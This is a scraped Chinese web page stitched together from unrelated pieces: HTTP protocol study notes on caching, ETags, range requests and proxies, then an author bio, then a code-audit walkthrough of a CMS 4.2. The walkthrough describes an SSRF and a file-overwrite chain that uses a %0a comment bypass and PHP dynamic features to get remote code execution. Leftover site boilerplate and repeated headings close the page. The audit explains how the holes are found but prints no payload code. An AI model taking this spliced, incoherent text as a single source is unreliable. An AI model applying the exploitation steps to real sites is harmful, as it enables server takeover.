max-age 指令出現(xiàn)在請(qǐng)求報(bào)文中，并且緩存資源的緩存時(shí)間小于該指令指定的時(shí)間，那么就能接受該緩存。

max-age 指令出現(xiàn)在響應(yīng)報(bào)文中，表示緩存資源在緩存服務(wù)器中保存的時(shí)間。

Cache-Control: max-age=31536000

Expires 字段也可以用于告知緩存服務(wù)器該資源什么時(shí)候會(huì)過期。在 HTTP/1.1 中，會(huì)優(yōu)先處理 Cache-Control : max-age 指令；而在 HTTP/1.0 中，Cache-Control : max-age 指令會(huì)被忽略掉。

Expires: Wed, 04 Jul 2012 08:26:05 GMT

4. 緩存驗(yàn)證

需要先了解 ETag 首部字段的含義，它是資源的唯一表示。URL 不能唯一表示資源，例如 http://www.google.com/ 有中文和英文兩個(gè)資源，只有 ETag 才能對(duì)這兩個(gè)資源進(jìn)行唯一表示。

ETag: "82e22293907ce725faf67773957acd12"

可以將緩存資源的 ETag 值放入 If-None-Match 首部，服務(wù)器收到該請(qǐng)求后，判斷緩存資源的 ETag 值和資源的最新 ETag 值是否一致，如果一致則表示緩存資源有效，返回 304 Not Modified。

If-None-Match: "82e22293907ce725faf67773957acd12"

Last-Modified 首部字段也可以用于緩存驗(yàn)證，它包含在源服務(wù)器發(fā)送的響應(yīng)報(bào)文中，指示源服務(wù)器對(duì)資源的最后修改時(shí)間。但是它是一種弱校驗(yàn)器，因?yàn)橹荒芫_到一秒，所以它通常作為 ETag 的備用方案。如果響應(yīng)首部字段里含有這個(gè)信息，客戶端可以在后續(xù)的請(qǐng)求中帶上 If-Modified-Since 來驗(yàn)證緩存。服務(wù)器只在所請(qǐng)求的資源在給定的日期時(shí)間之后對(duì)內(nèi)容進(jìn)行過修改的情況下才會(huì)將資源返回，狀態(tài)碼為 200 OK。如果請(qǐng)求的資源從那時(shí)起未經(jīng)修改，那么返回一個(gè)不帶有消息主體的 304 Not Modified 響應(yīng)，

Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT

If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT

連接管理

[圖片上傳失敗…(image-3cf4fc-1550224161268)]

1. 短連接與長(zhǎng)連接

HTTP/1.1 開始默認(rèn)是長(zhǎng)連接的，如果要斷開連接，需要由客戶端或者服務(wù)器端提出斷開，使用 Connection : close；
HTTP/1.1 之前默認(rèn)是短連接的，如果需要長(zhǎng)連接，則使用 Connection : Keep-Alive。

2. 流水線

默認(rèn)情況下，HTTP 請(qǐng)求是按順序發(fā)出的，下一個(gè)請(qǐng)求只有在當(dāng)前請(qǐng)求收到應(yīng)答過后才會(huì)被發(fā)出。由于會(huì)受到網(wǎng)絡(luò)延遲和帶寬的限制，在下一個(gè)請(qǐng)求被發(fā)送到服務(wù)器之前，可能需要等待很長(zhǎng)時(shí)間。

流水線是在同一條長(zhǎng)連接上發(fā)出連續(xù)的請(qǐng)求，而不用等待響應(yīng)返回，這樣可以避免連接延遲。

內(nèi)容協(xié)商

通過內(nèi)容協(xié)商返回最合適的內(nèi)容，例如根據(jù)瀏覽器的默認(rèn)語(yǔ)言選擇返回中文界面還是英文界面。

1. 類型

1.1 服務(wù)端驅(qū)動(dòng)型

客戶端設(shè)置特定的 HTTP 首部字段，例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language，服務(wù)器根據(jù)這些字段返回特定的資源。

它存在以下問題：

服務(wù)器很難知道客戶端瀏覽器的全部信息；
客戶端提供的信息相當(dāng)冗長(zhǎng)（HTTP/2 協(xié)議的首部壓縮機(jī)制緩解了這個(gè)問題），并且存在隱私風(fēng)險(xiǎn)（HTTP 指紋識(shí)別技術(shù)）；
給定的資源需要返回不同的展現(xiàn)形式，共享緩存的效率會(huì)降低，而服務(wù)器端的實(shí)現(xiàn)會(huì)越來越復(fù)雜。

1.2 代理驅(qū)動(dòng)型

服務(wù)器返回 300 Multiple Choices 或者 406 Not Acceptable，客戶端從中選出最合適的那個(gè)資源。

2. Vary

Vary: Accept-Language

在使用內(nèi)容協(xié)商的情況下，只有當(dāng)緩存服務(wù)器中的緩存滿足內(nèi)容協(xié)商條件時(shí)，才能使用該緩存，否則應(yīng)該向源服務(wù)器請(qǐng)求該資源。

例如，一個(gè)客戶端發(fā)送了一個(gè)包含 Accept-Language 首部字段的請(qǐng)求之后，源服務(wù)器返回的響應(yīng)包含 Vary: Accept-Language 內(nèi)容，緩存服務(wù)器對(duì)這個(gè)響應(yīng)進(jìn)行緩存之后，在客戶端下一次訪問同一個(gè) URL 資源，并且 Accept-Language 與緩存中的對(duì)應(yīng)的值相同時(shí)才會(huì)返回該緩存。

內(nèi)容編碼

內(nèi)容編碼將實(shí)體主體進(jìn)行壓縮，從而減少傳輸?shù)臄?shù)據(jù)量。常用的內(nèi)容編碼有：gzip、compress、deflate、identity。

瀏覽器發(fā)送 Accept-Encoding 首部，其中包含有它所支持的壓縮算法，以及各自的優(yōu)先級(jí)，服務(wù)器則從中選擇一種，使用該算法對(duì)響應(yīng)的消息主體進(jìn)行壓縮，并且發(fā)送 Content-Encoding 首部來告知瀏覽器它選擇了哪一種算法。由于該內(nèi)容協(xié)商過程是基于編碼類型來選擇資源的展現(xiàn)形式的，在響應(yīng)中，Vary 首部中至少要包含 Content-Encoding，這樣的話，緩存服務(wù)器就可以對(duì)資源的不同展現(xiàn)形式進(jìn)行緩存。

范圍請(qǐng)求

如果網(wǎng)絡(luò)出現(xiàn)中斷，服務(wù)器只發(fā)送了一部分?jǐn)?shù)據(jù)，范圍請(qǐng)求可以使得客戶端只請(qǐng)求服務(wù)器未發(fā)送的那部分?jǐn)?shù)據(jù)，從而避免服務(wù)器重新發(fā)送所有數(shù)據(jù)。

1. Range

在請(qǐng)求報(bào)文中添加 Range 首部字段指定請(qǐng)求的范圍。

GET /z4d4kWk.jpg HTTP/1.1
Host: i.imgur.com
Range: bytes=0-1023

請(qǐng)求成功的話服務(wù)器返回的響應(yīng)包含 206 Partial Content 狀態(tài)碼。

2. Accept-Ranges

響應(yīng)首部字段 Accept-Ranges 用于告知客戶端是否能處理范圍請(qǐng)求，可以處理使用 bytes，否則使用 none。

Accept-Ranges: bytes

3. 響應(yīng)狀態(tài)碼

在請(qǐng)求成功的情況下，服務(wù)器會(huì)返回 206 Partial Content 狀態(tài)碼。
在請(qǐng)求的范圍越界的情況下，服務(wù)器會(huì)返回 416 Requested Range Not Satisfiable 狀態(tài)碼。
在不支持范圍請(qǐng)求的情況下，服務(wù)器會(huì)返回 200 OK 狀態(tài)碼。

分塊傳輸編碼

Chunked Transfer Coding，可以把數(shù)據(jù)分割成多塊，讓瀏覽器逐步顯示頁(yè)面。

多部分對(duì)象集合

一份報(bào)文主體內(nèi)可含有多種類型的實(shí)體同時(shí)發(fā)送，每個(gè)部分之間用 boundary 字段定義的分隔符進(jìn)行分隔，每個(gè)部分都可以有首部字段。

例如，上傳多個(gè)表單時(shí)可以使用如下方式：

Content-Type: multipart/form-data; boundary=AaB03x

--AaB03x
Content-Disposition: form-data; name="submit-name"

Larry
--AaB03x
Content-Disposition: form-data; name="files"; filename="file1.txt"
Content-Type: text/plain

... contents of file1.txt ...
--AaB03x--

虛擬主機(jī)

HTTP/1.1 使用虛擬主機(jī)技術(shù)，使得一臺(tái)服務(wù)器擁有多個(gè)域名，并且在邏輯上可以看成多個(gè)服務(wù)器。

通信數(shù)據(jù)轉(zhuǎn)發(fā)

1. 代理

代理服務(wù)器接受客戶端的請(qǐng)求，并且轉(zhuǎn)發(fā)給其它服務(wù)器。

使用代理的主要目的是：

緩存
負(fù)載均衡
網(wǎng)絡(luò)訪問控制
訪問日志記錄

代理服務(wù)器分為正向代理和反向代理兩種：

用戶察覺得到正向代理的存在。
而反向代理一般位于內(nèi)部網(wǎng)絡(luò)中，用戶察覺不到。

2. 網(wǎng)關(guān)

與代理服務(wù)器不同的是，網(wǎng)關(guān)服務(wù)器會(huì)將 HTTP 轉(zhuǎn)化為其它協(xié)議進(jìn)行通信，從而請(qǐng)求其它非 HTTP 服務(wù)器的服務(wù)。

3. 隧道

使用 SSL 等加密手段，為客戶端和服務(wù)器之間建立一條安全的通信線路。

--------------------正文完-----------------------

關(guān)注我

我是一名后端開發(fā)工程師。主要關(guān)注后端開發(fā)，數(shù)據(jù)安全，網(wǎng)絡(luò)爬蟲，物聯(lián)網(wǎng)，邊緣計(jì)算等方向，歡迎交流。

各大平臺(tái)都可以找到我

Github：@qqxx6661
CSDN：@Rude3Knife
知乎：@Zhendong
簡(jiǎn)書：@蠻三刀把刀
掘金：@蠻三刀把刀

原創(chuàng)博客主要內(nèi)容

Java知識(shí)點(diǎn)復(fù)習(xí)全手冊(cè)
Leetcode算法題解析
劍指offer算法題解析
SpringBoot菜鳥入門實(shí)戰(zhàn)系列
SpringCloud菜鳥入門實(shí)戰(zhàn)系列
爬蟲相關(guān)技術(shù)文章
后端開發(fā)相關(guān)技術(shù)文章
逸聞趣事/好書分享/個(gè)人興趣

個(gè)人公眾號(hào)：后端技術(shù)漫談

如果文章對(duì)你有幫助，不妨收藏起來并轉(zhuǎn)發(fā)給您的朋友們~

言：

這篇文章：該 CMS 版本是 4.2。以下漏洞均被 CNVD 收錄。

環(huán)境說明：

PHP版本用 7.0.9 就好了。

SSRF：

根據(jù)功能點(diǎn)定向?qū)徲?jì)，在后臺(tái)的工具欄有一個(gè)采集功能，根據(jù)經(jīng)驗(yàn)這種功能一般存在 SSRF。

【一>所有資源關(guān)注我，私信回復(fù)"資料"獲取<一】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍（白帽子）
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記

使用 python3 在本地開啟簡(jiǎn)易的 http 服務(wù)。

點(diǎn)擊下一步，果不其然存在 SSRF。

進(jìn)行漏洞分析。
根據(jù) burpsuite 抓到的請(qǐng)求包很容易定位到代碼位置。

在文件 upload/plugins/sys/admin/Collect.php#Collect->add，POST 的參數(shù)cjurl 未做安全處理被傳入到 $this->caiji->str 方法。

那么我們跟進(jìn)到 $this->caiji->str 方法，但是 phpstorm 找不到定義該方法的位置。

解決辦法，我們可以連續(xù)按兩下 Shift 鍵直接尋找。

跟進(jìn)到 str 方法后，發(fā)現(xiàn) url 參數(shù)被傳入 htmlall 方法，繼續(xù)跟進(jìn)該方法。

可以看到 htmlall 方法使用了 curl 請(qǐng)求 url。

基本上有調(diào)用 $this->caiji->str 方法的地方都存在 SSRF 漏洞。

文件覆蓋導(dǎo)致 GETSHELL：

通過敏感函數(shù)回溯參數(shù)過程的方式找到該漏洞。
在 upload/cscms/app/helpers/common_helper.php#write_file 使用了文件寫入的敏感函數(shù)，跟 SSRF 的 htmlall 是同一個(gè)文件。

使用 Ctrl+Shift+F 查找哪些位置調(diào)用了 write_file，在 upload/plugins/sys/admin/Plugins.php#Plugins->_route_file 調(diào)用了 write_file函數(shù)，并且 note[note[key][‘name’] 和 note[note[key][‘url’] 的值是以字符串方式拼接到文件內(nèi)容的，該內(nèi)容是注釋，我們可以使用換行繞過。

查找哪些位置調(diào)用了 _route_file，跟蹤 $note 的值是否可控，調(diào)用該函數(shù)的位置有很多，最終找到一處可利用。在 upload/plugins/sys/admin/Plugins.php#Plugins->setting_save 調(diào)用了 _route_file，由于該函數(shù)內(nèi)容有點(diǎn)多，所以我將它拆分成兩個(gè)界面，一些不重要的內(nèi)容進(jìn)行閉合。畫紅線的位置是調(diào)用到 _route_file 必須設(shè)置的，可以看到在標(biāo)藍(lán)色3的位置獲取到了 $note 的值，分析到這里可以開始復(fù)現(xiàn)了。

使用 burpsuite 抓取請(qǐng)求包。

修改請(qǐng)求包內(nèi)容寫入構(gòu)造好的代碼，可以看到我使用了 %0a 換行去繞過注釋。

在 upload/cscms/config/dance/rewrite.php 可以看到成功寫入。

尋找引用 rewrite.php 的位置，懶得去看代碼了，通過點(diǎn)擊各個(gè)頁(yè)面，經(jīng)過不懈努力終于在個(gè)人中心的音樂頁(yè)面找到，所以你需要注冊(cè)一個(gè)會(huì)員用戶。

重放 burpsuite 抓到的請(qǐng)求包，成功輸出內(nèi)容。

到這里其實(shí)事情還沒有結(jié)束，當(dāng)我嘗試寫入惡意內(nèi)容發(fā)現(xiàn)被轉(zhuǎn)義了。

試了 eval、shell_exec 等均被轉(zhuǎn)義，但是 assert 沒有被轉(zhuǎn)義，考慮到 assert 在PHP7版本之后的問題，我還是需要找一個(gè)更好的辦法。懶得去看轉(zhuǎn)義的代碼了，我根據(jù)PHP的動(dòng)態(tài)特性使用以下方法成功 RCE。

總結(jié)：

此次代碼審計(jì)使用了通用代碼審計(jì)思路的兩種，第一種：根據(jù)功能點(diǎn)定向?qū)徲?jì)、第二種：敏感函數(shù)回溯參數(shù)過程，沒有用到的是通讀全文代碼。活用 phpstorm 可以讓代碼審計(jì)的效率大大增加。

在線咨詢

上一篇：添加圖片HTML代碼及給圖片添加超鏈接的html代碼
下一篇：H5實(shí)戰(zhàn)干貨，聽聽老司機(jī)偷偷和我說了什么？

您的項(xiàng)目需求

*請(qǐng)認(rèn)真填寫需求信息，我們會(huì)在24小時(shí)內(nèi)與您取得聯(lián)系。

整合營(yíng)銷服務(wù)商

PHP安全-編程建議

前言

面試知識(shí)點(diǎn)復(fù)習(xí)手冊(cè)

本文參考

--------------------正文-----------------------

Web 攻擊技術(shù)

基礎(chǔ)概念

HTTP Header

具體應(yīng)用

--------------------正文完-----------------------

關(guān)注我

言：

環(huán)境說明：

SSRF：

文件覆蓋導(dǎo)致 GETSHELL：

總結(jié)：

您的項(xiàng)目需求